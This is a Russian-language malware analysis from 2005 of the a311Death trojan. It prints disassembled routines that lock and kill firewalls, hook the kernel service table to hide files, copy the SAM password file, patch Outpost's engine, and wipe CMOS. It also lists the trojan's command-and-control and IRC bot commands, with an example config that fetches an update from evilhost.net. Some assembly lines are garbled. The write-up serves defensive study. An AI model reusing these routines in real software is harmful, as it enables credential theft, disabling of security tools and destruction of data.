a311Death inside
    -------------------

    Попалась мне как-то на просторах интернета зверушка - небольшой такой троянчик, неизвестной системы.После распаковки
  и анализа того что получилось - оказалось что это a311Death. Поискав информацию о  данном трое, нашел только рекламу и
  жалобы, что в халявной версии ваши пароли уходят налево :)

    Посмотрев  поближе  на  предмет  исследования,  стало понятно, что да, это вам не пинч. Во-первых, зверушка ставит в
  систему драйвера для сокрытия в системе основных своих файлов и всяческих действий (некоторые из них мы рассмотрим).Но
  в памяти себя не скрывает, да и драйвера тоже видны невооруженным взглядом. А главная часть трояна - обыкновенная dll,
  стандартно инжектируемая к експлореру.

    При инсталляции и в процессе работы создаются следующие файлы:

  avpx32.sys - создание записей в реестре, инсталляция в систему драйверов
  qy.sys     - backup avpx32.sys
  avpx64.sys - основной драйвер
  qz.sys     - backup apx64.sys
  avpx32.dll - сам троян
  qz.dll     - backup avpx32.dll
  p3.ini     - файл с настройками (адрес сервера обновлений, e-mail и т.д.)
  redir.a3d  - оставшиеся файлы - другие настройки
  fltr.a3d
  i.a3d
  tnfl.a3d
  klogini.dll

    При старте avpx64.sys первым делом блокируется файервол от ZoneLabs:

  Блокировка ZoneLabs
  ;---------------------------------------------------------------------------------------------------------------------

  _lock_zonelabs  proc near

  Key   = dword ptr -3Eh
    ....
    ....

    lea ebx, _offs_zonelabs
    mov eax, dword ptr a_ ; "."
    mov esi, [ebx]
    lea edi, a??CWindowsSyst[eax] ; "\\??\\C:\\WINDOWS\\system32"
    mov ecx, 2Ah
    rep movsb
    mov eax, offset a??CWindowsSyst ; "\\??\\C:\\WINDOWS\\system32"

  loc_105FA:
    push  eax   ; SourceString
    push  offset DestinationString ; DestinationString
    call  RtlInitUnicodeString
    lea ecx, DestinationString
    xor edx, edx
    call  _set_objattr
    push  0   ; EaLength
    push  0   ; EaBuffer
    push  FILE_SYNCHRONOUS_IO_NONALERT ; CreateOptions
    push  FILE_OPEN ; CreateDisposition
    push  FILE_ANY_ACCESS ; ShareAccess
    push  FILE_ATTRIBUTE_NORMAL ; FileAttributes
    push  0   ; AllocationSize
    push  offset IoStatusBlock ; IoStatusBlock
    push  offset ObjectAttributes ; ObjectAttributes
    push  FILE_READ_DATA  ; DesiredAccess
    push  offset FileHandle ; FileHandle
    call  ZwCreateFile
    or  eax, eax
    jnz short _exit_zonelabs
    push  5   ; FileInformationClass
    push  20    ; FileInformationLength
    push  offset FileInformation ; FileInformation
    push  offset IoStatusBlock ; IoStatusBlock
    push  FileHandle  ; FileHandle
    call  ZwQueryInformationFile
    push  FileInformation
    pop LockLength.LowPart
    mov eax, [espH)]
    push  2   ; ExclusiveLock
    push  0   ; FailImmediately
    push  eax   ; Key
    push  offset LockLength ; LockLength
    push  offset LockLength.HighPart ; LockOffset
    push  offset IoStatusBlock ; IoStatusBlock
    push  0   ; ApcContext
    push  0   ; ApcRoutine
    push  0   ; Event
    push  FileHandle  ; FileHandle
    call  NtLockFile
    add ebx, 4
    mov eax, ebx
    dec byte_116FC
    jnz loc_105FA

  _exit_zonelabs:
    pop large dword ptr fs:0
    add esp, 4
    retn

  _offs_zonelabs  dd offset aZonelabsVsmon_ ; "\\ZoneLabs\\vsmon.exe"
                  dd offset _slash_str      ; "\\"

  ;---------------------------------------------------------------------------------------------------------------------

    Потом перехватывается KeServiceDescriptorTable для сокрытия своих файлов в системе:

                 mov     eax, offset KeServiceDescriptorTable
                 mov     eax, [eax]
                 mov     eax, [eax]
                 mov     ecx, offset _KeServiceDescTable_new
                 cmp     _KeServiceDescTable_old, 0
                 jnz     short loc_10F17
                 xchg    ecx, [eaxЬ*4]
                 mov     _KeServiceDescTable_old, ecx

    И прячет файлы согласно вышеприведенному списку. avpx64.sys может читать и файл SAM, предварительно его скопировав.

  Работа с файлом SAM (точнее его копирование)
  ;---------------------------------------------------------------------------------------------------------------------

  _check_0B50:                           
                 cmp     eax, 0B50h
                 jnz     _check_100D
                 mov     eax, dword ptr a_ ; "."
                 mov     esi, offset aConfigSam ; "\\config\\SAM"
                 lea     edi, a??CWindowsSyst[eax] ; "\\??\\С:\\WINDOWS\\system32"
                 mov     ecx, 24
                 rep movsb
                 push    offset a??CWindowsSyst ; SourceString
                 push    offset DestinationString ; DestinationString
                 call    RtlInitUnicodeString
                 or      eax, eax
                 jnz     _complete_req
                 lea     ecx, DestinationString
                 xor     edx, edx
                 call    _set_objattr
                 push    0               ; EaLength
                 push    0               ; EaBuffer
                 push    FILE_SYNCHRONOUS_IO_NONALERT ; CreateOptions
                 push    FILE_OPEN       ; CreateDisposition
                 push    0               ; ShareAccess
                 push    FILE_ATTRIBUTE_NORMAL ; FileAttributes
                 push    0               ; AllocationSize
                 push    offset IoStatusBlock ; IoStatusBlock
                 push    offset ObjectAttributes ; ObjectAttributes
                 push    FILE_ANY_ACCESS ; DesiredAccess
                 push    offset FileHandle ; FileHandle
                 call    ZwCreateFile  ;Открываем SAM
                 lea     ecx, IoStatusBlock
                 or      eax, eax
                 jz      short _find_SAM
                 cmp     [ecx+_IO_STATUS_BLOCK.Status], 0
                 jnz     _exit_0B50

  _find_SAM:                              ;в полученной выше строке ищем SAM
                 push    esi
                 mov     esi, offset a??CWindowsSyst ; "\\??\\С:\\WINDOWS\\system32"

  _next_char:
                 lodsb

  _compare:       ;и меняем SAM на SSL
                 cmp     al, 'S'
                 jnz     short _next_char
                 cmp     dword ptr [esi], 4D004100h ; MA
                 jnz     short _next_char
                 mov     dword ptr [esi], 4C005300h ; LS
                 pop     esi
                 push    offset ObjectAttributes ; ObjectAttributes
                 call    ZwDeleteFile    ; del SSL file
                 push    0               ; EaLength
                 push    0               ; EaBuffer
                 push    FILE_WRITE_THROUGH or FILE_SYNCHRONOUS_IO_NONALERT ; CreateOptions
                 push    FILE_CREATE     ; CreateDisposition
                 push    FILE_SHARE_WRITE ; ShareAccess
                 push    FILE_ATTRIBUTE_NORMAL ; FileAttributes
                 push    0               ; AllocationSize
                 push    offset IoStatusBlock ; IoStatusBlock
                 push    offset ObjectAttributes ; ObjectAttributes
                 push    6               ; DesiredAccess
                 push    offset _fileHandle2 ; FileHandle
                 call    ZwCreateFile    ;создаем SSL

  _copy_loop:                             ;и копируем содержимое SAM в SSL
                 push    0               ; Key
                 push    0               ; ByteOffset
                 push    1000h           ; Length
                 push    offset _buffer  ; Buffer
                 push    offset IoStatusBlock ; IoStatusBlock
                 push    0               ; ApcContext
                 push    0               ; ApcRoutine
                 push    0               ; Event
                 push    FileHandle      ; FileHandle
                 call    ZwReadFile
                 lea     ecx, IoStatusBlock
                 mov     ecx, [ecx+_IO_STATUS_BLOCK.Information]
                 cmp     ecx, 0
                 jbe     short _close_files
                 push    0               ; Key
                 push    0               ; ByteOffset
                 push    ecx             ; Length
                 push    offset _buffer  ; Buffer
                 push    offset IoStatusBlock ; IoStatusBlock
                 push    0               ; ApcContext
                 push    0               ; ApcRoutine
                 push    0               ; Event
                 push    _fileHandle2    ; FileHandle
                 call    ZwWriteFile
                 jmp     short _copy_loop

  _close_files:
                 push    FileHandle      ; Handle
                 call    ZwClose
                 push    _fileHandle2    ; Handle
                 call    ZwClose

  _exit_0B50:
                 jmp     short _complete_req
  .....
  .....

  _complete_req:
                 mov     edx, 0
                 mov     ecx, [ebpё_4]
                 call    IofCompleteRequest
                 xor     eax, eax
                 pop     ebx
                 pop     edi
                 pop     esi
                 leave
                 retn    8

  ;---------------------------------------------------------------------------------------------------------------------

    Основной модуль трояна  -  avpx32.dll, в  нем и irc-bot и кейлогер, и формграббер и граббер паролей (как пинч :) ) и
  прочее. При старте основной модуль перехватывает некоторые api для скрытия своих файлов и соединений, инжектирует себя
  в процессы iexplore.exe,  opera.exe,  myie.exe,  mozilla.exe,  thebat.exe,  outlook.exe,  msn.exe и icq.exe. Закрывает
  файерволы zapro.exe, vsmon.exe, jamapp.exe, atrack.exe, iamapp.exe, FwAct.exe, mpfagent.exe, outpost.exe, zlclient.exe
  и mpftray.exe. Если avpx64.sys не запущен, то закрывает их через TerminateProcess, иначе доверяет это драйверу.

  Закрытие процесса из драйвера:
  ;---------------------------------------------------------------------------------------------------------------------

  _check_950:
    cmp eax, 950h
    jnz short _check_0A50
    mov eax, [edi(]
    mov ecx, [eax]
    mov ClientId.UniqueProcess, ecx
    lea eax, _objattr_stru
    mov [eax _ATTRIBUTES.Length],  18h
    push  offset ClientId ; ClientId
    push  offset _objattr_stru ; ObjectAttributes
    push  1   ; DesiredAccess
    push  offset ProcessHandle ; ProcessHandle
    call  ZwOpenProcess
    push  0   ; ExitStatus
    push  ProcessHandle ; ProcessHandle
    call  ZwTerminateProcess

  ;---------------------------------------------------------------------------------------------------------------------


    Если avpx64.sys опять не обнаружился - патчится engine.dll из Agnitum OutPost.

  Патчим Outpost (чтобы не ругался наверное :) )
  ;---------------------------------------------------------------------------------------------------------------------

_agnitum_ proc near
    ....
    ....
_patch_agnitum:
    push  offset _hkey_handle ; phkResult
    push  0F003Fh   ; samDesired
    push  0   ; ulOptions
    push  offset aSoftwareAgnitu ; lpSubKey
    push  HKEY_LOCAL_MACHINE     ; hKey
    call  RegOpenKeyExA
    mov ds:nSize, 300
    push  offset nSize  ; lpcbData
    push  offset _str_file_name ; lpData
    push  offset Type ; lpType
    push  0   ; lpReserved
    push  offset aEngine_dll ; lpValueName
    push  ds:_hkey_handle ; hKey
    call  RegQueryValueExA
    or  eax, eax
    jnz _agnitum_next
    push  ds:_hkey_handle ; hKey
    call  RegCloseKey
    push  400   ; dwMilliseconds
    call  Sleep
    push  0   ; hTemplateFile
    push  FILE_ATTRIBUTE_NORMAL
    push  OPEN_EXISTING
    push  0   ; lpSecurityAttributes
    push  FILE_SHARE_READ or FILE_SHARE_WRITE
    push  GENERIC_READ+GENERIC_WRITE
    push  offset _str_file_name ; lpFileName
    call  CreateFileA
    mov ds:_file_handle, eax
    push  0   ; lpName
    push  0   ; dwMaximumSizeLow
    push  0   ; dwMaximumSizeHigh
    push  PAGE_READWRITE  ; flProtect
    push  0   ; lpFileMappingAttributes
    push  ds:_file_handle ; hFile
    call  CreateFileMappingA
    mov ds:_mapping_handle, eax
    push  0   ; dwNumberOfBytesToMap
    push  0   ; dwFileOffsetLow
    push  0   ; dwFileOffsetHigh
    push  FILE_MAP_ALL_ACCESS ; dwDesiredAccess
    push  eax   ; mapping handle
    call  MapViewOfFile
    or  eax, eax
    jz  short _agnitum_next
    mov ds:_mapped_addr, eax
    push  edi
    mov edi, eax
    mov eax, [edi+3Ch]
    mov ecx, [eax+edi+28h]
    mov edx, [eax+edi+54h]
    mov dword ptr [ecx+edi], 0C340C033h ;что-то патчим :)
    pop edi
    push  ds:_mapped_addr ; lpBaseAddress
    call  UnmapViewOfFile
    push  ds:_mapping_handle ; hObject
    call  CloseHandle
    push  0   ; lpFileSizeHigh
    push  ds:_file_handle ; hFile
    call  GetFileSize
    push  0   ; nNumberOfBytesToLockHigh
    push  eax   ; nNumberOfBytesToLockLow
    push  0   ; dwFileOffsetHigh
    push  0   ; dwFileOffsetLow
    push  ds:_file_handle ; hFile
    call  LockFile

_agnitum_next:
    push  offset _hkey_handle ; phkResult
    push  KEY_ALL_ACCESS  ; samDesired
    push  0   ; ulOptions
    push  offset aSoftwareAgni_0 ; lpSubKey
    push  HKEY_LOCAL_MACHINE ; hKey
    call  RegOpenKeyExA
    push  0   ; lpName
    push  0   ; bInitialState
    push  1   ; bManualReset
    push  0   ; lpEventAttributes
    call  CreateEventA
    mov ds:_event_handle, eax
    push  TRUE    ; fAsynchronus
    push  ds:_event_handle ; hEvent
    push  REG_LEGAL_CHANGE_FILTER ; dwNotifyFilter
    push  TRUE    ; bWatchSubtree
    push  ds:_hkey_handle ; hKey
    call  RegNotifyChangeKeyValue
    or  eax, eax
    jnz short _agnitum_exit
    dec eax
    push  eax   ; dwMilliseconds
    push  ds:_event_handle ; hHandle
    call  WaitForSingleObject
    push  ds:_event_handle ; hObject
    call  CloseHandle
    push  ds:_hkey_handle ; hKey
    call  RegCloseKey
    jmp _patch_agnitum

_agnitum_exit:
    pop large dword ptr fs:0
    add esp, 4
    push  0   ; dwExitCode
    call  ExitThread
_agnitum_ endp

  ;---------------------------------------------------------------------------------------------------------------------

    При наличии соединения с интернет, троян первым делом лезет на прописанный в конфиге сайт за командным файлом
  trf.dat, который через текстовые команды управляет поведением трояна.

  Команды trf.dat
  ;---------------------------------------------------------------------------------------------------------------------

  HP - установить домашнюю страницу
  N! - самообновиться с адреса
  NR - скачать файл
  NW - скачать файл
  NI - скачать i.a3d
  NF - скачать настройки для e-money (fltr.a3d)
  BP - 
  BC - соединиться с заданным ip:port (клиент трояна)
  KD - выключить кейлогер
  NS - сохранить адрес сайта
  KE - включить кейлогер
  UE - 
  UU - 
  DI - DoS
  DS - DoS (другой вариант)
  SP - установить страницу поиска
  RD - скачать и запустить файл
  OH - запустить файл скрыто
  ON - запустить файл обычно
  ED - завершить сеанс работы с trf.dat

  ;---------------------------------------------------------------------------------------------------------------------


    Например, trf.dat может выглядеть так:

  ;---------------------------------------------------------------------------------------------------------------------

  UU0
  UE
  N!evilhost.net/troy.exe
  NSevilhost.net
  ED

  ;---------------------------------------------------------------------------------------------------------------------


    Ну и  конечно  в трояне  есть  функционал  irc-бота (вот это место нас заинтересовало, т.к. настройки irc-сервера не
  берутся  из  конфигов, а  жестко  прошиты  в  трояне). Бот  соединяется с сетью localirc.net, заходит на канал #corpse
  (опять-таки авторское) и ждет ботовода :) Правда управлять ботом может только авторизировавшийся.

  Команды irc-бота
  ;---------------------------------------------------------------------------------------------------------------------

  .aut - аутентифицироваться
  .rbt - ребут
  .usr - показать username
  .fnd - искать файл по маске или по имени (.fnd c: boot.*)
  .dir - dir :) (.dir c: *.*)
  .eml - отослать файл на е-мейл
  .drv - показать доступные диски
  .dds - DoS :)
  .sks - показывает на каких портах socks и http прокси
  .bck - сеанс работы с клиентом этого трояна (больше всяких команд)
  .dld - скачать файл
  .upd - проапдейтиться
  .run - запустить файл
  .die - остановить бота
  .chm - сохранить параметры
  .chs - сохранить адрес сайта
  .pss - устанавливает новый пароль на бота
  .ftr - показать наличие в системе webmoney, paypal, e-gold, ebay
  .opn - open url

  ;---------------------------------------------------------------------------------------------------------------------


    Авторизация проходит через прописанные в трояне пароли. т.е. так: 
    
  .aut saЖanic или .aut 666

    После чего бот говорит, что он UNDER CONTROL.

    Но весь  функционал  трояна  раскрывается  только  при  использовании  клиента. Для этого  либо  в irc написать .bck
  ip-машины-с-клиентом  порт, либо  в  файле  trf.dat  на сервере написать BCip-машины-с-клиентом порт. Тогда становятся
  доступны многие другие функции,в том числе и деструктивные (например, порча CMOS и затирание BIOS).А так - стандартный
  набор  для  бэкдоров,  игры  с  CD-Rom, прятанье  процессов,  убийство процессов, изменение приоритета процесса, вывод
  сообщения, работа с реестром,приколы с клавиатурой и экраном и т.д. и т.п. Протокол работы очень странный :) создается
  впечатление, что это компиляция из разных источников,т.к. половина команд имеют вполне понятный синтаксис (Find, Kill,
  Hide  и  т.д.), другие  имеют  сокращенный  синтаксис (-m, -f, fo, cy и т.д.), ну а третьи вообще не ascii (07060607h,
  0A0D0707h, 0A0D1515h и т.д.).

  Затирание cmos
  ;---------------------------------------------------------------------------------------------------------------------

  _check_cmos:
    cmp eax, 'somc'     ; cmos
    jnz short _check_gatr
    cmp ds:_driver_flag, 1 ; если avpx64.sys работает, то пусть он это и делает
    jz  short _driver_cmos
    mov al, 2Fh
    out 70h, al   ; CMOS Memory:
          ; storage for  checksum of CMOS addresses 10H through 20H
    mov al, 99h
    out 71h, al   ; CMOS Memory:
          ;
    mov ax, 1010h
    mov dx, 70h
    out dx, ax    ; CMOS Memory:
          ;
    jmp _parse_end

  _driver_cmos:
    mov eax, 1021h
    call  _call_driver
    jmp _parse_end

  ;---------------------------------------------------------------------------------------------------------------------


    Обнаружить  и  удалить троян можно вручную. Обнаруживается путем просмотра пункта в диспетчере устройств - "Драйверы
  устройств не Plug'n'Play" и оттуда же и удаляется.

    Вот собственно  и  весть  троян :) Еще бы чуть-чуть и автор смог бы сделать rootkit, который будет уже не так просто
  обнаружить и удалить.


  (x) dMNt 2005